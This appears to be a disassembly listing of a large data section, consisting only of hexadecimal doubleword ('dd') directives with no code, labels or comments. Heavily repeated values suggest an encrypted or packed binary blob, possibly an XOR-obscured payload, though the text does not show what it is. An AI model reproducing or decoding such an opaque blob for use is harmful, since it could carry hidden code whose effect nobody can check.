		dd 0F79769E1h, 3D156615h, 3215610Fh, 33986944h,	0C7156622h
		dd 0B01AB528h, 0CDEA9C76h, 32156DADh, 3EA3C622h, 47EEFC8Dh
		dd 0F6E4E90h, 3211FDADh, 399C6922h, 0DB156611h,	3215668Eh
		dd 49095A7Fh, 0B7D23993h, 340EC0E1h, 3215668Ah,	30966924h
		dd 52156622h, 3FE7E770h, 5352E6F6h, 1621E712h, 116668E7h
		dd 0EFAF344Ah, 0F32C87F5h, 705765A6h, 323084A3h, 0C0947E48h
		dd 76187077h, 0C5F3A4C5h, 0E124B14Ch, 3395694Bh, 0CA156688h
		dd 0CB1BD04Bh, 3D959FA2h, 32150592h, 321E8F88h,	46926644h
		dd 0A18D82F4h, 868F21AAh, 2ED6E79Bh, 0B37C9E24h, 0B50BC4C9h
		dd 0B3DE6738h, 0B50BC44Bh, 2EFEE76Dh, 0DB7C9E42h, 32156605h
		dd 9D42AA94h, 0CF6ACCDAh, 5251FFBh, 8D2A6D2Eh, 0ED7CE119h
		dd 32370B2Ch, 1609EF22h, 693162EEh, 0B1AA067Dh,	53185335h
		dd 32146DCBh, 0E39E0611h, 53E3D987h, 0CDA73422h, 0B973B70Ah
		dd 0F6944205h, 3215668Ah, 32156DADh, 8A43C722h,	2D1C4C80h
		dd 2A169971h, 0B3733024h, 6B7E93D2h, 32156BF8h,	0B915D988h
		dd 6B188C2Bh, 0FFAA6D9Dh, 5A748937h, 32156688h,	0C7314AC5h
		dd 1B406E01h, 3694421Dh, 3A3693ACh, 0B11A3F11h,	3215662Ah
		dd 0F0940071h, 53E0C3FEh, 0C4AC3717h, 0B31B351Dh, 0A37725E0h
		dd 0DBD4E7E6h, 0E3568855h, 60F4E7CBh, 0B35ECD62h, 0AC5B6A79h
		dd 6BDEEF67h, 7CFEE769h, 1374F06Dh, 0DB753D51h,	32156650h
		dd 0BD32FCA2h, 0A7CE5B0Bh, 602753BCh, 0DBA43B69h, 0B8A72141h
		dd 321574F8h, 0A85F7A88h, 0F9297E9Dh, 0A2C2EF12h, 44545B09h
		dd 534CE6DCh, 22298DC5h, 0F93C6A1Eh, 6D65DE41h,	831818D7h
		dd 7A1ADA76h, 0F31D8EE3h, 721064F1h, 331F5A9Ah,	3AFC3E87h
		dd 56156622h, 9A3106C4h, 3D56CD91h, 321569C5h, 321F8F22h
		dd 8FF06611h, 9FA83C96h, 0A3CC0364h, 1C4CE3A9h,	3D756005h
		dd 3215740Dh, 32188F44h, 6AE06622h, 0AA043E52h,	0AB5583BEh
		dd 3DFFF909h, 321565AAh, 0E9A26911h, 5780EDE9h,	3D13726Eh
		dd 321577ADh, 39956911h, 0DB156688h, 32156642h,	0C3FEF642h
		dd 8F9607A1h, 34017639h, 4B916945h, 0DB156620h,	32156605h
		dd 5333C1BCh, 3E40BDB9h, 87E99667h, 0E4F192CDh,	375F2F9Ch
		dd 8B739A24h, 9744992h,	49769C9h, 3D156688h, 32156ECAh
		dd 30926922h, 52156611h, 3DC65FE9h, 0CDEDEFC2h,	321B8FDDh
		dd 0B4C86611h, 38D5D899h, 427FE7EAh, 0F2596F5Bh, 3212E71Eh
		dd 0B81A6688h, 32156645h, 0CDAE35D7h, 33EA99EEh, 0B91A3D56h
		dd 32156648h, 3213E22Dh, 0B31A6611h, 32156688h,	0DAD506F4h
		dd 1EE16A21h, 0C2A3344Bh, 0C495B07Eh, 68E56605h, 35FC9916h
		dd 0CD156611h, 0E4DB630Ah, 52BF478Ah, 53C3EDDEh, 321574F8h
		dd 97D6B288h, 89140527h, 2790462Fh, 0D0B046FCh,	0B15152F6h
		dd 2E9C62A8h, 3215DD06h, 0C1146611h, 3D4E6D02h,	32156FC5h
		dd 6D450622h, 17FCE777h, 62460782h, 0DED544F0h,	0B2D99827h
		dd 0D19DE6FDh, 69CDEED0h, 9CA734B1h, 0B23884A2h, 814678DBh
		dd 0F2CE90F6h, 0E9E364A7h, 0B28F95A2h, 0E815F7FAh, 68C446D3h
		dd 3219E84Bh, 0BA1A6622h, 32156617h, 3215EA87h,	0FA1D6644h
		dd 3DFCCCDEh, 6A156611h, 0B605DAC6h, 0DC2A5243h, 0BC23C519h
		dd 0F1944678h, 585F1091h, 8F409D6Dh, 585F103Bh,	3D488D38h
		dd 32157705h, 38FC0644h, 0E1156622h, 0D84B92DFh, 50CEF29Eh
		dd 197D0791h, 0BB156662h, 36AD4215h, 1B156688h,	3E93E87h
		dd 3D657FAh, 32058FC9h,	0E1AF6688h, 0F624D7B1h,	6F8BFECBh
		dd 29D0B135h, 0DBBE5CCFh, 32156648h, 0B08E7A7Eh, 0AE811798h
		dd 860ED20Ah, 3217DF15h, 0DC946622h, 3DD44181h,	0F494A889h
		dd 3DD441D4h, 0B81A067Bh, 32156610h, 879C0770h,	3401432Dh
		dd 31966942h, 54156611h, 0F5749503h, 2605D7C1h,	32156724h
		dd 0BB439F11h, 36AA316Eh, 33156644h, 0F49639DCh, 1621E115h
		dd 26FC06D4h, 36156644h, 0CBB6D2C8h, 0E109722Ah, 707337FFh
		dd 3D070A7Bh, 53CCDB0Ch, 32156CF8h, 0F7DA8F88h,	5A541107h
		dd 0CDD55D77h, 0B14E4225h, 0CDEC624Ch, 0B14C4270h, 0CE7562E6h
		dd 53E5ED77h, 0B34F32DAh, 32156286h, 36D7E522h,	6E317296h
		dd 3206E587h, 3CFC6644h, 0FB156622h, 6504B7B7h,	0B31FD392h
		dd 0FCA8EAh, 0D39C375Ch, 3211A790h, 0F3966688h,	16195540h
		dd 1316A13h, 0CA49421Dh, 0CDCC8261h, 0D39F06BBh, 3210E42Dh
		dd 85AC6611h, 5337BF08h, 0CDEADF15h, 0FC1499DDh, 0E3950648h
		dd 834407FDh, 0B9DDEEADh, 0F696422Eh, 26966915h, 0DB156688h
		dd 3215664Bh, 0FA25424Ah, 0D48CBD50h, 0DEFC140h, 986E54D0h
		dd 0BA1A9E42h, 32156613h, 6474B903h, 0B33162CFh, 321562E6h
		dd 88479311h, 53331D4Eh, 1B4FB66Dh, 49D363DAh, 38FC0737h
		dd 0CB156688h, 0B96D17E1h, 0B85EA325h, 36A83307h, 1F156688h
		dd 3EC37495h, 0E3108E0Bh, 6F19B003h, 32156F61h,	0FAE3A944h
		dd 0F90E2FF5h, 0BB1A4E70h, 32156689h, 0B11ACDBDh, 32156625h
		dd 3214EB1Eh, 65E96688h, 0F59481CDh, 32156626h,	0B511A192h
		dd 169E42B4h, 0E8940660h, 3AF4695Eh, 3213E71Eh,	0E1946688h
		dd 706C378Eh, 1609ED43h, 0B3F2EF46h, 3215624Fh,	36D2E544h
		dd 6E315AA5h, 1619EDE4h, 0B3F7EFDAh, 32156286h,	36D7E722h
		dd 0B5156611h, 0DB49429Ch, 3215664Eh, 79949728h, 1B1C5AE7h
		dd 3AFCF8E9h, 0D2156644h, 0C8ADFF47h, 0CD810E5Bh, 0B34B42BCh
		dd 32156280h, 32048F22h, 85856611h, 6A5F2CE4h, 0E147566Ah
		dd 4118520Fh, 622660BCh, 36108601h, 67156644h, 3215629Fh
		dd 6FFD6711h, 6E31620Fh, 3218E14Bh, 3AFC6622h, 5A156611h
		dd 0B67F7B7Fh, 0DBA6B8D5h, 0CDEABD4Eh, 26FC9F71h, 4D156688h
		dd 0F48B152Ch, 0E10E9786h, 9B35E755h, 0E6FC3E63h, 5398D3EBh
		dd 94E5E3E5h, 3210600Ah, 23FC6688h, 0B4156644h,	0AF2B6310h
		dd 0F8EE076Dh, 850FEF55h, 5887A6B2h, 0BBE5EF72h, 1611EDD2h
		dd 3211A209h, 0BF1A6644h, 3215662Ah, 3217E71Eh,	53756688h
		dd 321D8F24h, 9CE96622h, 4A906332h, 50AE2E77h, 5360EBECh
		dd 3211D975h, 0C9146611h, 0B3315A03h, 32156280h, 0DE9F0622h
		dd 6374A9A4h, 32156631h, 31E46744h, 1619ED3Bh, 0DB11A292h
		dd 32156683h, 14D70F14h, 6F2728B4h, 523F4FC1h, 3DD6E7EEh
		dd 321D8F21h, 44816622h, 619AB0B0h, 0B974EB23h,	263B3FC1h
		dd 32048F24h, 0D2CB6611h, 0D19D85EEh, 1EBB294Eh, 0FBB7C949h
		dd 0B9C4C0D8h, 263F031Dh, 8B449A42h, 0CDEA99DDh, 3D4CA810h
		dd 32157007h, 3BFD0644h, 0B4156622h, 90DB3F6Bh,	2720CFBAh
		dd 50A6DE1Ah, 0B1747D19h, 260AE7ACh, 0B61A678Eh, 321561D7h
		dd 321B8E42h, 3F2A6611h, 4C1A84D4h, 0F3366C9Bh,	6AD59A8Fh
		dd 321572F8h, 0E1D87C88h, 9BE39872h, 0E0647933h, 0C4A16909h
		dd 9A75CFDFh, 0B01A38A1h, 32156620h, 9743947h, 73976950h
		dd 52156644h, 3206E92Dh, 3FFD6611h, 1D156688h, 9269408Ch
		dd 1949028Eh, 0ADCADF87h, 0DCA734D1h, 0E82E071Bh, 336AE02Dh
		dd 0B51A6611h, 3215669Ch
		dd 321BEE4Bh, 3BFC6622h, 0E5156611h, 0EE1Dh, 893E09B6h
		dd 177CD3ABh, 0BD1A6005h, 32156683h, 321560ADh,	4F260222h
		dd 0B9BF3742h, 29B39615h, 2A986942h, 0DB156622h, 32156602h
		dd 3BE8C9C4h, 0F7DB146Ch, 0C51BDC7Eh, 2C380BE2h, 0CA485A82h
		dd 3E310AC5h, 605F506Eh, 3E313A10h, 459D9DFh, 4E14340Eh
		dd 524A7606h, 53D48F91h, 34A08F74h, 0BD1A6644h,	3215662Ah
		dd 0E0940071h, 53EC736Fh, 65315ACFh, 0F59481ABh, 32156615h
		dd 0B511A10Bh, 3D494278h, 321561A7h, 339D6911h,	0CA156688h
		dd 2D94E383h, 32146036h, 3DE96611h, 32156D07h, 0B9730644h
		dd 329B69F8h, 53156611h, 61317A03h, 0F19485CDh,	32156626h
		dd 3211A590h, 2E926688h, 0B01A3A60h, 32156623h,	1619EDE4h
		dd 0B3F2EFDFh, 32156283h, 36D2E722h, 0B5156611h, 0DB4942B4h
		dd 32156641h, 66DE66DDh, 1621ED56h, 0B3F6EFDBh,	32156287h
		dd 36D6E522h, 6E317A96h, 32198FE8h, 79726644h, 4BBF2ECEh
		dd 33865832h, 0E09410C3h, 0CD58A0h, 0D59C3143h,	3211A190h
		dd 0F5966688h, 46EA3140h, 0BD4A6206h, 3D494215h, 32157A0Dh
		dd 249B6944h, 0DB156622h, 32156600h, 0D43F6AECh, 58CEFADFh
		dd 6A084B30h, 0E4840CAh, 0E7B68FD6h, 0B71A99BBh, 32156633h
		dd 32156AF8h, 409EF88h,	8A97DED5h, 0A29F133Fh, 83A8E504h
		dd 33137298h, 37B4E24Bh, 19EC6622h, 263B3F8Ch, 8C73068Eh
		dd 38FD5AEFh, 0A7156622h, 3786440Fh, 0CB830D3Dh, 0A9D6E6B4h
		dd 0BF9E077Ch, 34017780h, 32108FE8h, 0DC886644h, 60FF74CBh
		dd 3215EE1Eh, 534E6688h, 2D3F8FC5h, 0F39449F0h,	3DF5772Dh
		dd 0DB94BF89h, 3DF57778h, 2D3FA7A3h, 0B91A49C3h, 32156689h
		dd 23FD06BDh, 9C156622h, 18FCB052h, 902A3E39h, 6805B47Dh
		dd 843D4B5Dh, 39319490h, 824A5233h, 0F3940746h,	6AB40987h
		dd 35DEA790h, 0CB3C0EF5h, 35DE8FC5h, 0DB940E5Fh, 6AB409B4h
		dd 3F490E71h, 369C6644h, 3210DE06h, 0F33C6611h,	80479AD0h
		dd 0E79D37ADh, 684C8EAAh, 321575F8h, 0CFBEC588h, 9D264869h
		dd 332E1278h, 304C6032h, 0CB6E4289h, 321B8FEEh,	1DB96622h
		dd 80EA847Dh, 129ACBDAh, 93A79AF3h, 0B94D3772h,	0F696421Dh
		dd 3BFC068Ch, 49156644h, 0CB9B20BBh, 36508E29h,	0C6E5E7EEh
		dd 3DBE07E2h, 321567AAh, 0BB449E11h, 36D4E769h,	0B1156644h
		dd 3E2662E3h, 16195735h, 6E316ABBh, 3213EF4Bh, 3D756622h
		dd 53E9BCA6h, 3218E687h, 0B3756644h, 0F189D1FCh, 0C460D82Dh
		dd 0B974544Dh, 0BB454258h, 321163C2h, 0F2966611h, 1611E18Ch
		dd 33996918h, 0CE156622h, 0DFE7E771h, 0B95C7047h, 3E9E0792h
		dd 0D59C3106h, 3211A190h, 0F5946688h, 32156640h, 6E315AA5h
		dd 3FFD9E71h, 73156688h, 904D78CFh, 9C32B56Eh, 80F47585h
		dd 3215E887h, 534A6644h, 633152A9h, 0F3948798h,	3215668Ch
		dd 3211A7C5h, 3E926622h, 0DB753A35h, 3215668Fh,	2A4CAA7Ah
		dd 0DBFBDC9Eh, 3215661Bh, 0EAC2E74Dh, 4AFB4CA0h, 3D74893Ch
		dd 32157E96h, 32068F88h, 0C2DA6644h, 0D8EF3E24h, 17E14D7Bh
		dd 963C9494h, 1CF28B96h, 0D79C3307h, 3211A390h,	0F7966688h
		dd 46EA3340h, 0BD486206h, 3D494215h, 3215770Fh,	32198F44h
		dd 0EB2F6622h, 51FA4569h, 2E0562A5h, 0BF1AEE4Bh, 32156625h
		dd 3214E51Eh, 0DBEC6688h, 0CDEAB014h, 3209ED2Dh, 0B21A6611h
		dd 3215669Eh, 321577ADh, 93944122h, 0B182F7FEh,	90DA56E9h
		dd 7306926Dh, 0B7D298CEh, 340EC0E1h, 3215668Ah,	3214E54Bh
		dd 3DE96622h, 32157E9Ah, 32068F88h, 0FF096644h,	0AA8F4597h
		dd 4422C768h, 0AF2F253Ah, 4D3B4704h, 2E9E3073h,	36D1E535h
		dd 3203E587h, 0BD1A6644h, 32156632h, 32156DF8h,	82654D88h
		dd 85259F12h, 6C28C92Eh, 0CA1BD01Eh, 3219EB87h,	0B51A6644h
		dd 32156624h, 3215E61Eh, 0CB956688h, 7B9669C4h,	0CE156622h
		dd 4D46DB44h, 0C7946EF7h, 64D2102Ah, 0B31D8BE3h, 0FEBC41E4h
		dd 6FFE67DDh, 0D994AD45h, 6787770Ch, 32156CF8h,	0A1F0FD88h
		dd 4D574032h, 60D09F27h, 321567ABh, 68C66788h, 32DE8FBDh
		dd 64756622h, 6D47064Eh, 53743FD9h, 0F2E7D517h,	0D99565C1h
		dd 0B2D698CBh, 0EB3D2E7Bh, 0B1317ACFh, 23FC62E6h, 0E3156611h
		dd 99DF5797h, 7E10DE1Eh, 8051089Eh, 0F81F72E8h,	32157661h
		dd 73C9F644h, 0E0FFD4C5h, 0FAFCB2F2h, 47501DD8h, 32150E86h
		dd 3E3C6622h, 1619ED35h, 3D11A20Bh, 32157FC8h, 32018F22h
		dd 520C6611h, 50042470h, 0D1119027h, 285DDA44h,	0CD0B2E31h
		dd 5A405C16h, 321566BBh, 6FFC477Fh, 321572F8h, 0C08C9988h
		dd 0C2C7BFC0h, 5CA18101h, 971EBBFDh, 0E0E82873h, 0E4D6E7A8h
		dd 0B3159E01h, 876070D2h, 0B3DE4FFCh, 876070AFh, 0E4FEE756h
		dd 0DB159E32h, 32156699h, 0C7B705EAh, 0F73776A8h, 0DA45D969h
		dd 1F82CDA5h, 6B90EDD4h, 0CE13720Ch, 1870F39Ah,	5475609Ch
		dd 87E086FAh, 35FC07BEh, 0DBEA99EBh, 3215668Eh,	99652ADDh
		dd 3D7598CAh, 11A4ACA6h, 0C290A1E9h, 30137DE2h,	0CB156622h
		dd 0FAF3447h, 334036FBh, 68114210h, 0FFEE779h, 3D403662h
		dd 32156704h, 841A9F44h, 0B973062Ch, 0AE5FDDC2h, 0B2746BA6h
		dd 0B11AE6BDh, 32156677h, 321568F8h, 0B6639788h, 61C00F59h
		dd 8399E96Bh, 0B36E031Bh, 893D194Bh, 42FEE765h,	332B7869h
		dd 42D6E7DAh, 0B32B78C3h, 893D19AFh, 8D429E03h,	32156610h
		dd 0CA4A9D89h, 3215DCADh, 20966922h, 0DB156611h, 32156685h
		dd 0A0726EE4h, 9EAFECB5h, 387C4E37h, 0DEA73485h, 0F895A4BAh
		dd 32E7E67Ch, 1A7DA791h, 5AFCE659h, 2297691Eh, 52156622h
		dd 0DB0CAB91h, 3215668Eh, 4334AB94h, 0C5743B9Eh, 0CDFCE5C0h
		dd 32156B61h, 36FE3344h, 0B45054E4h, 0A9A053D8h, 37FC580Dh
		dd 0A6156644h, 0E89CFBEFh, 1516D847h, 0F4941FDFh, 0D247133h
		dd 0F6E88A3h, 0C334DE99h, 0B3315203h, 32156280h, 24926922h
		dd 3D156611h, 32157601h, 321E8F44h, 10C16622h, 12989E30h
		dd 76EA428Dh, 0AAC37B9h, 1B3C2E72h, 0F93C3FDAh,	622DA509h
		dd 54754F0Ch, 52E5139Ah, 8230A391h, 0B97407E7h,	263B3FC1h
		dd 0B71A0624h, 32156613h, 52748A02h, 53CBEDBDh,	1870F3A9h
		dd 0B1E06005h, 2605D735h, 0B61A6742h, 0CDEA904Ah, 320DEC1Eh
		dd 0B11A6688h, 32156656h, 32156BCBh, 0B5E25411h, 2F5CE777h
		dd 1363A98h, 0EA2EE0D0h, 321FE41Eh, 0BED6688h, 0B5936997h
		dd 0C7EA99CEh, 3214D946h, 0CC3C6688h, 3D75061Bh, 321566AEh
		dd 8C730711h, 3D74C0E3h, 321574CEh, 3E986922h, 0DB156611h
		dd 3215668Fh, 848AEF4Ch, 644ECD53h, 51315290h, 0B90A3A8Bh
		dd 0F6964248h, 51E4E726h, 3D0A3A12h, 32156C0Bh,	54A70644h
		dd 3215EF2Dh, 61746611h, 0BD638C33h, 0D2E6E751h, 0E33F857Bh
		dd 7F6E7F2h, 0B31F81B4h, 0B5753487h, 69CC4F3Eh,	0F3949F38h
		dd 15521AEEh, 0B31A06BDh, 32156624h, 0D4CFB090h, 0F4A30A9Ch
		dd 37AD3625h, 0B3156622h, 4B6749D0h, 0B3D44FB6h, 4B6749ADh
		dd 60E03E1Ch, 71A53CA3h, 0E23D528Ch, 3D4F5268h,	321567AAh
		dd 0B61A9F11h, 32156689h, 3D75CCBDh, 321566AFh,	0D5940011h
		dd 374553Ah, 3D4578Ch, 2B9069EAh, 52156611h, 3215E087h
		dd 3EFC6644h, 0B1156622h, 21D4F700h, 0ACE2B514h, 533A44E6h
		dd 3BFC9A89h, 0CAEA99C3h, 32AE35DAh, 0BB156644h, 0C0143DF8h
		dd 0DB4F649Bh, 32156686h
		dd 632EC2C4h, 2F4C2D80h, 0D62BDCFDh, 0DA2988C8h, 3244E24Bh
		dd 0BA1A6622h, 3215661Ah, 32156061h, 61870D44h,	64966E7Eh
		dd 5279E9AFh, 5E9ADEC3h, 0F8382D24h, 1B308D30h,	20DF63E1h
		dd 0DB4B4363h, 32156650h, 3EFE7BDCh, 0E0A42292h, 0A55940D0h
		dd 0B951EB90h, 63E712F1h, 3214F9F8h, 0D3AF0688h, 3D18F653h
		dd 5A74A695h, 32156351h, 3D317A01h, 321567C5h, 0B3439F22h
		dd 2DFE4225h, 644E08BFh, 51313FAh, 0E0F3E710h, 0B319F076h
		dd 0B6774146h, 70F3E72Ch, 0F32D3945h, 0DC946EFFh, 0A3E590F3h
		dd 0DB4B9575h, 3215662Dh, 0AF1BE662h, 5E5FA044h, 604FE32Bh
		dd 62C5CEE7h, 321567A9h, 63E56788h, 321566FDh, 31D46722h
		dd 0DB4D3F08h, 32156698h, 7CD18DAh, 0AEE5C35Ch,	20C28D0Fh
		dd 5A53BDB0h, 3210D812h, 0F1946622h, 72082737h,	0D9949589h
		dd 72082762h, 6845067Ch, 3570DD77h, 0DAA734E9h,	269EB6CCh
		dd 36D1E506h, 3D75CCE4h, 32156C0Eh, 32108F44h, 0ED9E6622h
		dd 65EF9DA0h, 6DE4EDEEh, 0F8D6E725h, 0B37A8E59h, 0C927E8D2h
		dd 0B3EE4FE3h, 0C927E8AFh, 0F8FEE749h, 0DB7A8E6Ah, 32156684h
		dd 41279A73h, 0D238414Ah, 0E40E884Eh, 3211DCDAh, 0E13C6644h
		dd 0B33172A9h, 321562D5h, 61459A88h, 0B33162CFh, 321562E6h
		dd 99E93D11h, 0B31A9FE8h, 32156647h, 53CCED44h,	321574F8h
		dd 36CD9188h, 0F2D12419h, 0E520C572h, 6BD0ABBDh, 0CD89204Fh
		dd 0B14E4270h, 67ED62E6h, 321563ACh, 81D3E788h,	33311F65h
		dd 81FBE7CCh, 6F311F30h, 32157561h, 0D979E044h,	0C9D2929Fh
		dd 2BB90531h, 0B5E8932Fh, 0A45A04C1h, 0B71A9F42h, 32156611h
		dd 6CAA31E9h, 0B317B125h, 95060FC5h, 0B3C29133h, 321C7967h
		dd 64CA9148h, 0B51F0F9Ch, 6CE2571Fh, 0DB4A9E01h, 3215664Ch
		dd 1C8452F3h, 0DDD8983Eh, 39FD064Bh, 9A156644h,	0A1F3D409h
		dd 45B0A958h, 6B42E70Bh, 0B5D7D81Bh, 0DB741092h, 32156617h
		dd 0F94C17BCh, 3B7D43BBh, 0BB15667Fh, 0B31A421Dh, 32156685h
		dd 32156EADh, 4483F822h, 0A4F3E9D2h, 0CD739386h, 1E940072h
		dd 545BE706h, 0B131629Ah, 3773644Ch, 0B51A28C5h, 32156623h
		dd 3DD65AEDh, 32142F0Ch, 321B8F44h, 15A06622h, 959C0641h
		dd 0AFD5416Dh, 78A92EDAh, 0B61AAD1Eh, 3215673Fh, 3DD75A70h
		dd 321438C0h, 0B9730622h, 34FC06C0h, 43156688h,	2D4468A8h
		dd 53D6EC93h, 3DDF5A70h, 3214240Ch, 0E5950644h,	8DAC00F8h
		dd 0F73073Fh, 0B61A4377h, 3215671Ah, 3209E52Dh,	0B51A6611h
		dd 3215669Eh, 321577ADh, 9ED92522h, 40D71BE1h, 32E90B18h
		dd 0E2B44E6Ah, 0F7347EFh, 0B71A993Fh, 321566FAh, 30AE35BDh
		dd 33156622h, 0B916ECE2h, 0F6944294h, 32156640h, 3209E32Dh
		dd 0DB756611h, 3215669Ch, 2352BE14h, 77CAD9AFh,	2922CAF0h
		dd 0F29C15A1h, 258AD66Bh, 604607DEh, 0E0E304A3h, 0BA828C08h
		dd 0FDEB3C93h, 0B22E81A2h, 0CA3597E6h, 92299FD3h, 32E9E24Bh
		dd 3FFC6622h, 0D6156611h, 2C6D88A2h, 89D252ABh,	548B75B9h
		dd 0B3EDEC71h, 9B359E5Ah, 3E9E0700h, 0D79C3306h, 3211A390h
		dd 0F7946688h, 32156640h, 6E314AA5h, 321577F8h,	4D488h
		dd 93713972h, 13D61696h, 36F9A11Eh, 81AD1D79h, 0A1723054h
		dd 3F86B5D5h, 3DD957F6h, 2015778Dh, 0B4FC9F24h,	0DB156623h
		dd 3215661Fh, 8D54229Bh, 967F5B27h, 37E4A0C7h, 0FB245E6Ah
		dd 0F99506E8h, 0F9940085h, 0B37463A3h, 0DAFF47CAh, 628407EBh
		dd 6A3162BBh, 0F99406B3h, 1936EEA3h, 0DB74BB3Dh, 321566C5h
		dd 321DE72Dh, 0BD1A6611h, 3215668Ah, 5AE90724h,	321567F1h
		dd 88317298h, 3215668Bh, 3D4FB7CDh, 32156AA9h, 8A730611h
		dd 0F194D786h, 31F69A1Fh, 33906943h, 0CB156611h, 32152261h
		dd 8F409A44h, 241C1933h, 0DF94B3E6h, 0DBE3E660h, 1E9E8FCDh
		dd 36D1E706h, 0CA156611h, 32154261h, 8F409A44h,	32156625h
		dd 0BBFFEF43h, 0DB483C59h, 32156655h, 30EBCCA5h, 30E2A191h
		dd 3E26A3F7h, 0F8AF068Fh, 52B195C4h, 32156CF9h,	7664BF88h
		dd 1D84F13Bh, 0DB0C0599h, 3215661Eh, 15513FF8h,	0F5D94ACDh
		dd 0BB8E9F61h, 6BAB6A09h, 0F7AD00E8h, 53F7D64Eh, 5798ED43h
		dd 5213723Bh, 60CAD987h, 5475071Bh, 0B9F2A39Dh,	0FB9007C7h
		dd 322EE387h, 3D756644h, 321567AEh, 0BB749A11h,	263F033Dh
		dd 321A8F42h, 0A29D6622h, 471BCE92h, 640E0835h,	2EFA50C6h
		dd 32068F9Eh, 28336611h, 0DD047F96h, 4B7A5605h,	133AB1DCh
		dd 0E075D552h, 1619EDD9h, 0B3F7EF16h, 321562E0h, 36D7E511h
		dd 6E31720Fh, 25AA31B8h, 60262239h, 0D84CD3ABh,	70B6DEA6h
		dd 0E2247BEAh, 6DED5778h, 321576F8h, 64402388h,	0ABE49490h
		dd 8EDCE98Eh, 34E7D564h, 54E0A5C2h, 617350BBh, 4973DD44h
		dd 16496777h, 544E008Ah, 5438001Ch, 349C6959h, 52156611h
		dd 53753CD9h, 3DD65A25h, 3214ADA6h, 321B8F11h, 34BB6688h
		dd 0FB4020BAh, 0F3C87458h, 34461A36h, 0BAD0EED9h, 1619EDAFh
		dd 3211A2A3h, 54756611h, 86BEA631h, 5A73074Dh, 0BB733839h
		dd 0C2A4421Dh, 6B73ADA8h, 321572ADh, 94112D22h,	2A191437h
		dd 987CEEB1h, 0AD45EA44h, 0FEF62CD5h, 42EEE65Dh, 3194E287h
		dd 0EE06644h, 5B9169CBh, 0CB156610h, 0B61A8DB4h, 32156724h
		dd 0E749E42h, 679169D3h, 3D156689h, 32156AC5h, 34956922h
		dd 3D156611h, 32156607h, 32018F44h, 0ECD6622h, 7BF91C1Ah
		dd 9ECBA65Ah, 0F098744Eh, 819A5040h, 0F9292D1Dh, 3337E287h
		dd 0BA1A6644h, 32156630h, 32138E71h, 2706688h, 85656EC7h
		dd 0A2AE007Bh, 0F7307A3h, 0B61A4377h, 32156744h, 32156DCBh
		dd 2BB7B911h, 90E75105h, 6D241C6Ah, 3209E72Dh, 0B61A6611h
		dd 3215669Eh, 321577ADh, 0E1197D22h, 0F88E82F6h, 410D1075h
		dd 5AFD830Ah, 0F829C760h, 32D3E21Eh, 0B3756688h, 789A2094h
		dd 1440DF69h, 0E7408E2h, 0F291696Bh, 0DB156646h, 32156627h
		dd 9F415F5Dh, 1C2800D9h, 669069BBh, 0DB156622h,	3215661Dh
		dd 17783D6Ch, 9474C7FFh, 1CAB515Bh, 32170E42h, 334E6688h
		dd 6916ECB7h, 9A734DAh,	0F8EBBCE7h, 1239A408h, 1601ED94h
		dd 3211A2A3h, 0B21A6611h, 3215668Eh, 0C0A26924h, 922907D7h
		dd 3243E21Eh, 3D756688h, 321564C7h, 3DD6ED22h, 6074B4AEh
		dd 32156632h, 6943444h,	4E29A606h, 0F2203E02h, 68061AB4h
		dd 379A6924h, 54156622h, 30668590h, 0DB747839h,	32156630h
		dd 2B9369DAh, 0DB156611h, 3215669Ch, 0F3014830h, 99FE349Ah
		dd 88593DB4h, 0F802DF96h, 6DC5A515h, 1870D3ABh,	0BFEC6005h
		dd 28B44115h, 25996942h, 0DB156622h, 32156603h,	0FC56806Ah
		dd 81F88020h, 2005BC48h, 550EC37Ah, 0E1EA4B87h,	884793B1h
		dd 76FB6781h, 0E96265A9h, 68C5679Bh, 69508971h,	0F5D4B2Bh
		dd 0BB1A3783h, 3215668Fh, 0F1AA6924h, 0CA743D70h, 32068FD2h
		dd 0C7916688h, 0EE9087F8h, 3B399206h, 45097EA8h, 0A11B3878h
		dd 7C290E95h, 369C6622h, 89469F35h, 32156698h, 0AE88DC5h
		dd 0C11438F0h, 0AE8A590h, 319E385Ah, 359C691Fh,	3D156622h
		dd 32156796h, 0B79C9E88h, 34014DE1h, 162199DAh,	36D1E549h
		dd 2EAF3471h, 33156644h, 1601EDF4h, 0CB11A292h,	638DB05h
		dd 0B71A6050h, 32156625h, 0C39E0071h, 9F74B102h, 321D8E24h
		dd 6B136622h, 49316713h, 0DA4BC571h, 3215664Dh,	0A0F0DE18h
		dd 2D4AF10Ch, 32138F77h
		dd 273E6644h, 0C9A5EDD1h, 8C430748h, 1A043F48h,	0FC94B0B3h
		dd 42993103h, 0F31788D0h, 0F4946366h, 75BD4A6Fh, 314B960Bh
		dd 37314255h, 7B8D6C91h, 3D0EDD24h, 18AE1998h, 53035F1Dh
		dd 8F989E23h, 3401664Dh, 320DE92Dh, 21FC6611h, 0A1156688h
		dd 0EC6415D5h, 7CDCC7B1h, 23A66472h, 0DDA110E9h, 3DB8D82Eh
		dd 32156CACh, 0BE1A0611h, 32156688h, 1F74CBF4h,	3237674Dh
		dd 0F309C63Ch, 1651658Dh, 2EB56360h, 5D1063E3h,	0DB154410h
		dd 32156682h, 8EADDD92h, 0AE2AD4F8h, 0A37DEC4Eh, 0BB15669Bh
		dd 0BF1A4240h, 32156623h, 0BFE0CDE4h, 260BCF35h, 321A8F42h
		dd 0E9BA6622h, 0AF98292Eh, 458B5441h, 59DDBCF6h, 22FCCB19h
		dd 9E156611h, 0EE0D1FB9h, 1325558Dh, 4915A9DCh,	1FAC3284h
		dd 56AF5FA8h, 1A312247h, 0B35DF73h, 0FA1402ABh,	4DAC06D1h
		dd 533B420Ch, 321E8F89h, 1B6A6611h, 609C6347h, 0C997EB16h
		dd 1621997Fh, 36D1E54Fh, 33946974h, 0C7156644h,	3D759AE1h
		dd 3215669Fh, 3812D888h, 627471DFh, 361086ABh, 1F156611h
		dd 3215668Ch, 6E3162C3h, 3D3152ABh, 32157696h, 321E8F88h
		dd 92E6644h, 0B46E1D1Ch, 5CBE3886h, 3D9E69B1h, 52156644h
		dd 32156ECBh, 0B8D15A11h, 5B794AA1h, 0AF980702h, 340FC660h
		dd 321563F8h, 4C59B988h, 0E1EADE3Ah, 0A9AC0042h, 7EFC0765h
		dd 3DEA9975h, 321576C9h, 321E8F22h, 756C6611h, 30AD77F0h
		dd 8A8E24AEh, 4ECEDF9Ch, 4AA86CD2h, 0A2458AFDh,	0C0D5F251h
		dd 0A45EEE75h, 2AA8ED96h, 29458A15h, 57DFA024h,	91792619h
		dd 2A1E2C5Eh, 89798A15h, 2A162C5Eh, 0CA798A15h,	2A492C5Eh
